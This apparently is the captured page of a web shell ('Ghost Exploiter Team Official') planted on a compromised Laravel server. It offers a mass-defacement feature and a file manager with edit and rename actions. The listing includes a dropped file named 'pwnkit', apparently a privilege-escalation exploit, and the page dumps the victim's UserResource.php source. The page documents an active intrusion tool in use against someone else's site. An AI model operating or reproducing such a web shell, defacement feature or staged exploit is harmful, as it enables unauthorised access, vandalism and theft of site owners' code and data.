Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
app
/
Http
/
Resources
/
User
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
CashFlowProjectCreditRe
...
1.689KB
edt
ren
NotDistributedPaymentRe
...
0.741KB
edt
ren
TokenResponse.php
1.604KB
edt
ren
UserResource.php
1.324KB
edt
ren
UserShowPermissionsReso
...
1.186KB
edt
ren
UserShowResource.php
1.42KB
edt
ren
pwnkit
10.992KB
edt
ren
<?php namespace App\Http\Resources\User; use App\Enums\RoleEnum; use App\Enums\RolePermissionsEnum; use Illuminate\Http\Request; use Illuminate\Http\Resources\Json\JsonResource; class UserResource extends JsonResource { public function toArray(Request $request): array { return [ 'id' => $this->id, 'first_name' => $this->first_name, 'last_name' => $this->last_name, 'email' => $this->email, 'image' => !empty($this->getFirstMediaUrl('avatars')) ? $this->getFirstMediaUrl('avatars') : null, 'models' => $this->roles->map(function ($role) { $roleEnum = RoleEnum::tryFrom($role->role); $enumPermissions = null; if ($role->permissions) { $permissionsValue = is_array($role->permissions) ? implode(',', $role->permissions) : $role->permissions; $enumPermissions = RolePermissionsEnum::fromCommaSeparated($permissionsValue); } return [ 'name' => $role->model->name ?? null, 'role' => $roleEnum ? RoleEnum::options()[$roleEnum->value] : null, 'permissions' => $enumPermissions ?? null, ]; }), ]; } }